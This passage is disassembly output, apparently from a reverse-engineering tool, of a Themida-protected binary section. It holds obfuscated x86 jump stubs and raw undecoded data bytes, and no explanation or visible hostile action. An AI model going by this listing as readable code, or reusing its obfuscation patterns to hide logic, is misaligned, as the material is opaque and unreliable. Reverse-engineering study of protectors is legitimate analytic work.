		dd 1BB251FAh, 0BD55E801h, 620670AFh, 0E14BC581h, 0E801B9ABh
		dd 81242C8Bh, 4C4h, 1B9CE900h, 0E9590000h, 0FFFFAE5Fh
; ---------------------------------------------------------------------------


loc_5E7E78:				; CODE XREF: Themida_:005E4770j
		xchg	edi, ebx
		xchg	ecx, edi
		jmp	loc_5E8334
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 0FFBBF3E9h, 535F68FFh, 3C890000h, 4800BF24h,	0CF8106C3h
		dd 3CC95A6Eh, 35F0BE56h, 0C781420Ch, 0BD61BEAh,	0EF81F701h
		dd 0BD61BEAh, 8324348Bh, 0C78104C4h, 0DC7DA923h, 4F27BB53h
		dd 24E9572Bh, 1FFFFCEh,	9292DF8h, 62057ADDh, 5F45D53Ah
		dd 2BF57h, 8EE90000h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7EDF:				; CODE XREF: Themida_:005DE59Cj
		pop	edx
		jmp	loc_5E3FB1
; ---------------------------------------------------------------------------
		db 89h,	0DDh, 0E9h
		dd 0FFFF63C1h, 24048B66h, 58F068h, 241C8900h, 241C8B54h
		dd 81E28952h, 4C2h, 1B59E900h, 248B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5E2269
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 111FE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E7F3A:				; CODE XREF: Themida_:005E1379j
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5E39B0
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7ADC18BAh, 0FFB058E9h, 685F54FFh, 52F4h, 52242C89h
		dd 4BAh, 0D7A3E900h, 815BFFFFh,	853787E9h, 57F10102h, 853787BFh
		dd 6BBDE902h, 2959FFFFh, 0F7515EF1h, 2CE92414h,	29FFFF96h
		dd 0D02159CAh, 18E8C15Ah, 8957C831h, 4BD55E7h, 1000000h
		dd 242C8BEFh, 5004C483h, 4B8h, 0E9C72900h, 0FFFF7A39h
; ---------------------------------------------------------------------------


loc_5E7FB4:				; CODE XREF: Themida_:005E11E8j
		mov	edx, 4
		jmp	loc_5E2FF9
; ---------------------------------------------------------------------------


loc_5E7FBE:				; CODE XREF: Themida_:005E95ACj
		xor	eax, [esp]
		jmp	loc_5E0662
; ---------------------------------------------------------------------------


loc_5E7FC6:				; CODE XREF: Themida_:005E59BEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_5E4616
; ---------------------------------------------------------------------------


loc_5E7FE0:				; CODE XREF: Themida_:005E9225j
		sub	ebp, ebx
		pop	ebx
		pop	esi
		mov	esi, ebp
		pop	ebp
		xor	esi, 75EE81F0h
		xor	ebx, esi
		pop	esi
		jmp	loc_5E9C56
; ---------------------------------------------------------------------------
		db 5Eh,	87h, 4
		dd 0E9525C24h, 549h, 4BE56h, 0F7290000h, 243C875Eh, 241C895Ch
		dd 0FF5FEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E8015:				; CODE XREF: Themida_:005E1C90j
		sub	esp, 4
		mov	[esp], edx
		push	2B880364h
		pop	edx
		add	dword ptr [esp+4], 3E791A61h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 3E791A61h
		pop	edx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5E71A4
; ---------------------------------------------------------------------------
		db 0BEh, 0E6h, 7
		dd 0EE814A9Bh, 31F60D25h, 132EB951h, 0B1E9FCC0h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8067:				; CODE XREF: Themida_:005E196Dj
		not	byte ptr [esp+1]
		jmp	loc_5E86A9
; ---------------------------------------------------------------------------
		dd 8C792DBFh, 0E9F80155h, 0FFFFA095h, 555BD901h, 51EABA52h
		dd 814270A3h, 0A351E9F2h, 0E9D58970h, 1561h, 311FBB53h
		dd 0DD2900C9h, 0FFC268E9h, 4BAFFh, 0D6290000h, 7253E95Ah
		dd 0C180FFFFh, 0F34FE9B3h, 0E95AFFFFh, 0D5Ah, 9C240CD3h
		dd 0FF5AF9E9h, 24148BFFh, 4C481h, 0DD890000h, 6C015F5Bh
		dd 27E90824h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E80DB:				; CODE XREF: Themida_:005E1B67j
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	edi
		push	62011385h
		pop	edi
		jmp	loc_5E0581
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd 405h, 0E7C6E900h, 0C283FFFFh, 24148702h, 0FF7AB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E8105:				; CODE XREF: Themida_:005E86C0j
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 62F36937h
		pop	ebx
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5E8677
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2E6DE6FBh, 0FF7032E9h, 0B951ADFFh, 1E041088h, 357D68h
		dd 24048900h, 0F35AAFB8h, 0B40DE91Ch, 0C380FFFFh, 8DB6524Bh
		dd 8059EE80h, 0F300A6C6h, 80C3285Ah, 0EB80DAEBh, 0F757E94Bh
		dd 685FFFFFh, 48E8h, 5B243C89h,	81243C8Bh, 4ECh, 240C8900h
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFF5A2Eh
; ---------------------------------------------------------------------------


loc_5E8190:				; CODE XREF: Themida_:005E1CF9j
		push	2EB2h
		mov	[esp], esi
		push	esp
		jmp	loc_5E9BE4
; ---------------------------------------------------------------------------
		dw 52B8h
		dd 4855E15Ch, 0E903E0C1h, 0FFFF70B4h, 46F680h, 0D8285AF0h
		dd 30E95D2Ch, 35FFFFD9h, 374143A3h, 5058C109h, 0BB6C4AB8h
		dd 16420D03h, 0D0F73B2Ch, 0F5802D48h, 0C1310A1Ah, 34C58158h
		dd 141AA43h, 9489E9CDh,	8B66FFFFh, 0EC812404h, 4, 54243489h
		dd 0FF2434FFh, 515E2434h, 0C181E189h, 4, 4C181h, 6BE90000h
		dd 87FFFFF6h, 248B243Ch, 48B6624h, 0EC835524h, 24248904h
		dd 4240483h, 83242C8Bh,	50E904C4h, 80FFFFC0h, 0C83045C1h
		dd 0FFF2CAE9h, 241487FFh, 2414895Ch, 0C6B65253h, 0E9C1CE80h
		dd 0FFFFCCC3h
; ---------------------------------------------------------------------------


loc_5E824C:				; CODE XREF: Themida_:005E1983j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	7B9Dh
		mov	[esp], edi
		mov	edi, 4
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5DFABA
; ---------------------------------------------------------------------------
		db 81h
		dd 7E6D4EC7h, 24048B6Ch, 4C481h, 3C870000h, 34895C24h
		dd 0BD555224h, 38977DC5h, 0BE5DEA89h, 0C768823Ah, 295AD631h
		dd 835E2477h, 1C8904ECh, 2434FF24h, 4B6E6858h, 0C890000h
		dd 0AE95424h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E82AF:				; CODE XREF: Themida_:005E0547j
		or	ebx, esi
		pop	esi
		push	edi
		mov	edi, 71973D28h
		jmp	loc_5E624F
; ---------------------------------------------------------------------------


loc_5E82BD:				; CODE XREF: Themida_:005E6130j
		sub	esp, 4
		mov	[esp], ecx
		push	1251h
		mov	[esp], edx
		push	ecx
		push	3193738Ch
		pop	ecx
		jmp	loc_5E3898
; ---------------------------------------------------------------------------
		db 68h
		dd 5E1022A2h, 83243C8Bh, 0B95104C4h, 48AC3661h,	1E98341h
		dd 0FFCDC4E9h, 525166FFh, 0FFD86EE9h, 8F545CFFh, 4812404h
		dd 424h, 0C1815900h, 4,	8702C183h, 248B240Ch, 48B6624h
		dd 4EC8324h, 81242C89h,	4ECh, 24248900h, 4240481h, 0E9000000h
		dd 0FFFF950Fh
; ---------------------------------------------------------------------------


loc_5E8334:				; CODE XREF: Themida_:005E7E7Cj
		not	ecx
		jmp	loc_5E135B
; ---------------------------------------------------------------------------


loc_5E833B:				; CODE XREF: Themida_:005E6BA4j
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_5E0612
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 25h
		dd 8BFFFFD4h, 54512404h, 0FFC326E9h, 2C183FFh, 31240C33h
		dd 0C33240Ch, 24248B24h, 0C8AF0F66h, 0E99C5166h, 0FFFFD301h
		dd 4F479C2Dh, 0CF0BE91Bh, 8146FFFFh, 503E94C6h,	0CE1AE99Ch
		dd 34FFFFFFh, 0F013E924h, 0F781FFFFh, 95E0C9E5h, 835FF921h
		dd 0F668FFE9h, 89000005h, 0AFB82404h, 3531DA64h, 0FBB17B2h
		dd 2D07E0C1h, 0C69FA718h, 0FF69A3E9h, 7E9C1FFh,	5303E9C1h
		dd 0F9BDB6BBh, 5BD901FFh, 8759CA01h, 0E95C2414h, 0FFFFF33Ah
		dd 5C243C87h, 24048B66h, 50E68956h, 8347E953h, 0E950FFFFh
		dd 0FFFFC852h, 2414875Fh, 0BFCDE95Ch, 34FFFFFFh, 242C8B24h
		dd 0FF6ACFE9h, 243C31FFh, 8B243C33h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		jmp	loc_5DE3E4
; ---------------------------------------------------------------------------
		dd 0B850E789h, 76F010B7h, 0FF78C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E8449:				; CODE XREF: Themida_:005E9A80j
		xchg	ecx, edi
		not	edi
		push	ecx
		mov	ecx, 6576AA3h
		or	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	edi, 2
		add	edi, 60807504h
		jmp	loc_5E08A6
; ---------------------------------------------------------------------------


loc_5E8469:				; CODE XREF: Themida_:005DE029j
		sub	eax, 0A6C5E20h
		add	eax, 4CC73154h
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5E2B08
; ---------------------------------------------------------------------------


loc_5E847C:				; CODE XREF: Themida_:005E945Cj
		mov	edx, 7DE85807h
		sub	ebp, edx
		pop	edx
		add	ebp, edx
		add	ebp, 7DE85807h
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5E11B1
; ---------------------------------------------------------------------------
		dd 5008EDC0h, 0E49E9h, 3EEC100h, 8CE9D6F7h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E84AB:				; CODE XREF: Themida_:005E66F9j
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		dd 52D830ACh, 0F0309FB6h, 5A2434FFh, 7FA368h, 241C8900h
		dd 0C3815B54h, 4, 0FF5BC7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E84D1:				; CODE XREF: Themida_:005DE99Ej
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_5E30A0
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 28AD569Eh, 0C281CA01h, 28AD569Eh, 64C8EA81h,	815932C1h
		dd 2C2h, 24143300h, 0E9241431h,	0FFFFACECh, 315DEA31h
		dd 24148BD0h, 3104C483h, 585450C3h, 405h, 4EC8300h, 0BE243489h
		dd 4, 0D168E952h, 32BFFFFFh, 47496867h,	7D4DF781h, 0F781431Dh
		dd 0A751A7Ah, 0FFD7C4E9h, 815A54FFh, 4C2h, 0A8E95000h
		dd 83FFFF7Fh, 0D6F604C4h, 0CE80DEF6h, 0FCF680F9h, 305DB151h
		dd 1604E9CEh, 0D0290000h, 0B1DCE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8576:				; CODE XREF: Themida_:005E2442j
		push	ecx
		mov	ecx, esp
		jmp	loc_5E4143
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2BE95104h, 83FFFF82h, 0C58304C4h, 242C8704h,	0F24248Bh
		dd 0A568C8B7h, 89000015h, 0EE68241Ch, 8900005Dh, 0F4E92424h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E85AB:				; CODE XREF: Themida_:005E745Bj
		pop	ecx
		add	edx, ecx
		pop	ecx
		add	dword ptr [esp+4], 61D73AB4h
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 61D73AB4h
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		push	290Eh
		mov	[esp], ebx
		mov	ebx, 17345DE2h
		add	eax, ebx
		pop	ebx
		push	small word ptr [eax]
		jmp	loc_5E06D1
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 65C431F3h, 0FF5673E9h, 448A5AFFh, 6C880324h,	8B660324h
		dd 0C483240Ch, 0E9C2E902h, 2C8BFFFFh, 4EC8124h,	89000000h
		dd 5B54241Ch, 4C381h, 19E90000h, 5300000Ah, 626E46BBh
		dd 6F3812Eh, 437B3400h,	3E1AE381h, 0E94B3D3Dh, 0FFFF673Fh
		dd 232FAFB9h, 59CF3111h, 4D3F781h, 31E9432Ch, 50000007h
		dd 0B3E9D088h, 0FF00000Ah, 51592434h, 0C1815954h, 4, 4E981h
		dd 0C870000h, 2C895C24h, 525D5424h, 4BB53h, 0F7E90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8677:				; CODE XREF: Themida_:005E8122j
		pop	esp
		jmp	loc_5E200C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240419h, 0FF5531E9h, 81CF01FFh,	5358C6C7h
		dd 240C8B23h, 0FFCEEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E869D:				; CODE XREF: Themida_:005E12C5j
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5E1B59
; ---------------------------------------------------------------------------


loc_5E86A9:				; CODE XREF: Themida_:005E806Bj
		pop	dx
		jmp	loc_5E87F6
; ---------------------------------------------------------------------------


loc_5E86B0:				; CODE XREF: Themida_:005E6E16j
		mov	[esp], ebx
		mov	ebx, 756423C5h
		sub	dword ptr [esp+4], 62F36937h
		jmp	loc_5E8105
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 3Bh
		dd 0C13BF773h, 0C68107E6h, 403C281Ch, 2507E981h, 0F1295C50h
		dd 0FF67E6E9h, 2753BBFFh, 0C14359C4h, 0F75303E3h, 815B2414h
		dd 213AA5C3h, 0F100E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E86FA:				; CODE XREF: Themida_:005E43AFj
		not	esi
		push	5091h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5E9CAE
; ---------------------------------------------------------------------------
		db 4, 73h, 0FFh
		dd 0C9E92434h, 31FFFF75h, 4332404h, 0C895C24h, 37996824h
		dd 34890000h, 81E68924h, 4C6h, 4EE8100h, 87000000h, 0BAE92434h
		dd 81FFFFFBh, 0F601B7C5h, 8BE929D5h, 0C483242Ch, 26E95B04h
		dd 83FFFFFCh, 40504C4h,	55000000h, 6C7C6853h, 0C15B490Bh
		dd 814306EBh, 242DB0EBh, 5BDD8901h, 8F7D212Dh, 0E9E80119h
		dd 0FFFFA1C1h, 4BB53h, 0EF810000h, 6FCA6FE2h, 0C781DF01h
		dd 6FCA6FE2h, 0DC74E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8796:				; CODE XREF: Themida_:005E565Bj
		inc	ecx
		jmp	loc_5E46A7
; ---------------------------------------------------------------------------
		dd 4C781h, 0BB530000h, 10AA0A9Dh, 0E3C14343h, 0C7BBE905h
		dd 5157FFFFh, 0FFD4F1E9h, 0D83166FFh, 10F46866h, 0FF997CE9h
		dd 240C8BFFh, 0FF973CE9h, 0E9CEFEFFh, 0FFFF8D6Ah, 0C468h
		dd 241C8900h, 0A3F2E6BBh, 0DEF2D45h, 9DE91565h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E87EB:				; CODE XREF: Themida_:005E2FFCj
		xchg	ebp, [esp]
		pop	esp
		push	ax
		jmp	loc_5DEB08
; ---------------------------------------------------------------------------


loc_5E87F6:				; CODE XREF: Themida_:005E86ABj
		inc	dh
		jmp	loc_5E4A3D
; ---------------------------------------------------------------------------
		db 1, 0CFh, 0E9h
		dd 0FFFF85A4h, 33240C31h, 248B240Ch, 47C86824h,	27E90000h
		dd 58FFFF60h, 7FFAEB81h, 0DF893AFAh, 0E9241C8Bh, 0FFFFADACh
		dd 837857B9h, 81E9D10Dh, 3E43D9C1h, 59C801F9h, 0E9240487h
		dd 0FFFFC3C9h, 4FA9E281h, 0EA816CFBh, 20A1F3A4h, 595AD001h
		dd 2888EA81h, 0C2814AC3h, 11C2158Eh, 0EA81C201h, 11C2158Eh
		dd 4E8C6853h, 3C890000h, 77C6BF24h, 0FB894168h,	0ADF3815Fh
		dd 537AB508h, 0F7240487h, 240487D0h, 0E9241C8Bh, 0FFFFF3A3h
		dd 5011EF81h, 0CF2960F3h, 0FFF301E9h, 2434FFFFh, 8124048Bh
		dd 4C4h, 0CE38E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E88AA:				; CODE XREF: Themida_:005E0136j
		push	ebx
		xor	dword ptr [esp], 7A753C9Dh
		pop	eax
		jmp	loc_5E962C
; ---------------------------------------------------------------------------
		dd 4C481h, 0EE830000h, 24343304h, 0FFB232E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E88C9:				; CODE XREF: Themida_:005DE2D2j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5E6B2E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 2BA5200h, 51000000h, 0FF5D4FE9h, 148B5CFFh, 4C48124h
		dd 29000000h, 0D1895DEAh, 93E9815Ah, 11FC340h, 93C181F9h
		dd 8B1FC340h, 68525901h, 18B5240h, 1031E9h, 148B5400h
		dd 4C48324h, 4C281h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5E3001
; ---------------------------------------------------------------------------
		dw 0CBAh
		dd 0C112567Dh, 0AE902EAh, 100000Ch, 2434FFDEh, 0ACD9E95Bh
		dd 0E981FFFFh, 7001037h, 0C181D101h, 7001037h, 74FF515Ah
		dd 8F590424h, 665C2404h, 5124048Bh, 0C1815954h,	4, 8704E983h
		dd 895C240Ch, 0E3682414h, 89000006h, 0A1E92424h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E897F:				; CODE XREF: Themida_:005DF8ACj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5DEAF1
; ---------------------------------------------------------------------------
		db 81h
		dd 82BA49C2h, 77EFE9C0h, 0C681FFFFh, 4,	0FF894DE9h, 2EB568FFh
		dd 575E424Bh, 921CB3BFh, 0F0E78105h, 0F747EC14h, 68EF81DFh
		dd 4F08776Ch, 1538F781h, 0FE29CBE7h, 0CB7AE95Fh, 3431FFFFh
		dd 9B30E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E89DE:				; CODE XREF: Themida_:005E06A6j
		shr	ebx, 3
		dec	ebx
		not	ebx
		not	ebx
		jmp	loc_5DE865
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFCBECE9h, 4EC83FFh, 0E9240489h, 0FFFFAC80h, 0C8B5451h
		dd 4C48324h, 4BB53h, 0C1810000h, 1F2D3615h, 53E9D901h
		dd 8BFFFFBBh, 0F7662424h, 0E28952E1h, 4C281h, 0EA830000h
		dd 24148704h, 0B4E0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8A32:				; CODE XREF: Themida_:005E7DA8j
		mov	esi, 4D310526h
		shl	esi, 2
		shl	esi, 6
		inc	esi
		jmp	loc_5E747B
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0E92E0C6Ch, 0FFFF983Ch, 4EAFF181h, 0E9816873h, 31C06E46h
		dd 0D138E953h, 0BDBDFFFFh, 81155635h, 6C0503EDh, 1EE9556Bh
		dd 81FFFF94h, 4C6h, 0C1A4E900h,	4BFFFFFh, 89000000h, 7BE95FFAh
		dd 89FFFFB5h, 405E0h, 0C0830000h, 24048704h, 240C875Ch
		dd 3824248Bh, 1BE99CC1h, 93FFFF51h, 8904EC83h, 0E3BF243Ch
		dd 1A89654h, 0C6315FF8h, 0E924048Bh, 0FFFF6F0Dh, 24DA68h
		dd 240C8900h, 8886B652h, 12E95AF1h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8ACF:				; CODE XREF: Themida_:005E12F5j
		xchg	eax, [esp]
		jmp	loc_5E1157
; ---------------------------------------------------------------------------
		db 55h
		dd 1D40BDBDh, 2E5C16Dh,	63D9C581h, 0C5810505h, 60FD53D6h
		dd 0AB9EC581h, 0E931F2D9h, 0E951415Dh, 0FFFF842Ch
; ---------------------------------------------------------------------------


loc_5E8AFC:				; CODE XREF: Themida_:005E6FF0j
		mov	eax, 0C340433h
		push	ecx
		push	eax
		jmp	loc_5DE81C
; ---------------------------------------------------------------------------
		dd 0EA89CD89h, 5AD6895Dh, 0E9F02959h, 0FFFF93FCh, 24048B5Ch
		dd 4C481h, 0C880000h, 0FC9BE987h, 0EE01FFFFh, 6B79E95Dh
		dd 5566FFFFh, 5D665766h, 243C8B66h, 2C481h, 31660000h
		dd 0D53166EAh, 66EA3166h, 66241431h, 66241433h,	0E9241431h
		dd 0FFFF5062h, 24048966h, 0FEE946B0h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8B67:				; CODE XREF: Themida_:005E22D7j
		push	dword ptr [edi+24h]
		push	711Ah
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		jmp	loc_5E3B30
; ---------------------------------------------------------------------------
		dw 3FE9h
		dd 0BFFFF50h, 0FD840FC0h, 68FFFF67h, 574Ah, 0B9240C89h
		dd 298755CEh, 8C18E941h, 48BFFFFh, 5CE0E924h, 0D021FFFFh
		dd 0D1C2095Ah, 0E78957E2h, 4C781h, 8CE90000h, 56FFFF7Fh
		dd 17E9E689h, 89FFFFBCh, 4C281E2h, 0E9000000h, 0FFFFDF45h
; ---------------------------------------------------------------------------


loc_5E8BCC:				; CODE XREF: Themida_:005E1898j
		push	edx
		jmp	loc_5E7CC8
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 1A0882F7h, 0D0F79716h, 4EC8397h, 0BE243489h,	1, 348BF701h
		dd 699EE924h, 0E95BFFFFh, 0FFFF5249h
; ---------------------------------------------------------------------------


loc_5E8BF8:				; CODE XREF: Themida_:005DFA96j
		push	ecx
		mov	ecx, 4
		sub	ebp, 781543A7h
		jmp	loc_5E59CE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 0FFACF8E9h
		dd 81E289FFh, 4C2h, 21E95300h, 5FFFFC0h, 4, 0FF7384E9h
		dd 4C481FFh, 83000000h,	0EC8102C2h, 4, 0FF6CB3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E8C4D:				; CODE XREF: Themida_:005E61FCj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5E288C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 5DEF0104h, 4C781h, 3C330000h, 0F7B3E924h
		dd 0C289FFFFh, 148BD389h, 73B9E924h, 4BBFFFFh, 29330916h
		dd 0F2015BDEh, 4C2835Eh, 5C241487h, 4EC81h, 0C890000h
		dd 0EC815224h, 4, 0B1240C89h, 30E4B2A2h, 240C8BCAh, 52E78957h
		dd 60016857h, 815F7A1Bh, 2682FCFh, 0C781477Dh, 80E497D4h
		dd 0E95FFA89h, 0DA6h
; ---------------------------------------------------------------------------


loc_5E8CCC:				; CODE XREF: Themida_:005E36CFj
		add	ebx, edx
		pop	edx
		mov	[edx+38h], ebx
		jmp	loc_5E527F
; ---------------------------------------------------------------------------
a0HX		db '0hx',0
		align 2
		dw 1489h
		dd 4EC8124h, 89000000h,	9BB7241Ch, 0C780DFF6h, 4EFC0B2h
		dd 0FEFFC780h, 64C4E9CFh, 815CFFFFh, 633D12E3h,	7E3C155h
		dd 0FFEFF0E9h, 1E2BBAFFh, 687763h, 29000000h, 0F75A2414h
		dd 0ED04E9D2h, 0B168FFFFh, 5A08D00Bh, 0EA81DAF7h, 0EC03A4F7h
		dd 555AD189h, 0FFED79E9h, 0FFEE01FFh, 0ADE92434h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8D43:				; CODE XREF: Themida_:005E546Bj
		mov	esp, [esp]
		add	esp, 4
		cmp	ecx, eax
		pushf
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0EEh
		dd 215C2B39h, 8B685AD0h, 8900001Fh, 0EDBA2414h,	2900010Dh
		dd 24148BD0h, 2104C483h, 0E9581C47h, 0FFFF4E46h, 8904EC83h
		dd 5957240Ch, 1CE9CA89h, 89FFFF9Dh, 0E0892404h,	0DE8BE955h
		dd 2C87FFFFh, 0B92D5C24h, 5327A231h, 1D0EDABBh,	6EBC15Ch
		dd 185FE381h, 0B0E96014h, 68FFFFD0h, 202Ah, 0BE243489h
		dd 7EE421C9h, 34FFF001h, 54515E24h, 6D6AE959h, 0FF5DFFFFh
		dd 815E2434h, 4C4h, 8BF92100h, 0C481243Ch, 4, 0E90AE9C1h
		dd 0FFFFC935h, 7AB68h, 91A7E900h, 0E781FFFFh, 6587534Bh
		dd 0E901EF83h, 0FFFF7BF0h
; ---------------------------------------------------------------------------


loc_5E8E00:				; CODE XREF: Themida_:005E2B03j
		pop	ebx
		push	ecx
		mov	ecx, 46323E73h
		not	ecx
		not	ecx
		add	ecx, 0B9CDC191h
		jmp	loc_5E1BF5
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 0E9241C8Bh, 0FFFFA04Fh
; ---------------------------------------------------------------------------


loc_5E8E20:				; CODE XREF: Themida_:005E44F5j
		pop	esp
		add	esp, 4
		push	ax
		push	0A23h
		jmp	loc_5E1163
; ---------------------------------------------------------------------------
		dd 243C875Dh, 4EC815Ch,	89000000h, 0EC81242Ch, 4, 81241C89h
		dd 4ECh, 240C8900h, 1D0EBA52h, 5401069Bh, 5B5A0424h, 1D0EEB81h
		dd 5153069Bh, 0FC34DFB9h, 244C3166h, 0E95D5904h, 0FFFFCFBFh
		dd 2D02E8C1h, 1A844E95h, 0FF62F5E9h, 148B5DFFh,	4C48124h
		dd 0E9000000h, 0FFFFEC40h, 0CE57E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E8E96:				; CODE XREF: Themida_:005E1B45j
		push	eax
		jmp	loc_5E125E
; ---------------------------------------------------------------------------
		dd 0E952F801h, 0FFFFA7C0h, 42474FFh, 5324048Bh,	0C381E389h
		dd 4, 8704C383h, 8F5C241Ch, 76E92404h, 57FFFFBFh, 0FE1512BFh
		dd 25CF8115h, 0F772382Dh, 6C781D7h, 0E9325930h,	0FFFFF4D6h
		dd 0C681C601h, 58367F36h, 0FF98A3E9h, 0EA0158FFh, 0FFAF11E9h
		dd 0E9C309FFh, 0FFFFF91Fh, 80A8EE80h, 0F58812F6h, 8324148Bh
		dd 0CD8004C4h, 2AE950CFh, 89FFFF87h, 4BD55E2h, 1000000h
		dd 0C2835DEAh, 74FF5204h, 8F5A0424h, 1FE92404h,	0FFFFFFE2h
		dd 48B2434h, 0E1895124h, 4F6DE956h, 0EA81FFFFh,	5ED43D68h
		dd 2F10C281h, 0E95559BFh, 0FFFFBF16h
; ---------------------------------------------------------------------------


loc_5E8F4C:				; CODE XREF: Themida_:005E4786j
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_5E4DB3
; ---------------------------------------------------------------------------


loc_5E8F54:				; CODE XREF: Themida_:005E033Cj
		sub	eax, 511E2C18h
		pop	ebp
		jmp	loc_5E2743
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFCCB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E8F65:				; CODE XREF: Themida_:005E4244j
		add	eax, 8A6A95A3h
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		push	edx
		mov	edx, 5D6E733Ch
		neg	edx
		shl	edx, 6
		xor	edx, 803B6B05h
		add	ebx, edx
		jmp	loc_5DFEF9
; ---------------------------------------------------------------------------
		db 47h
		dd 0FF7924E9h, 0E08950FFh, 0CBC7E957h, 5B59FFFFh, 8B243487h
		dd 0B60F2424h, 8734FFC0h, 67D4B850h, 7C6828A4h,	8900005Eh
		dd 0E589242Ch, 0BB38E953h, 47BAFFFFh, 31A35569h, 0C3815AD0h
		dd 2C10079Bh, 0EB81C301h, 2C10079Bh, 0FFC194E9h, 4E8C1FFh
		dd 205A0825h, 0A7112D23h, 0C509E724h, 795E958h,	0E8010000h
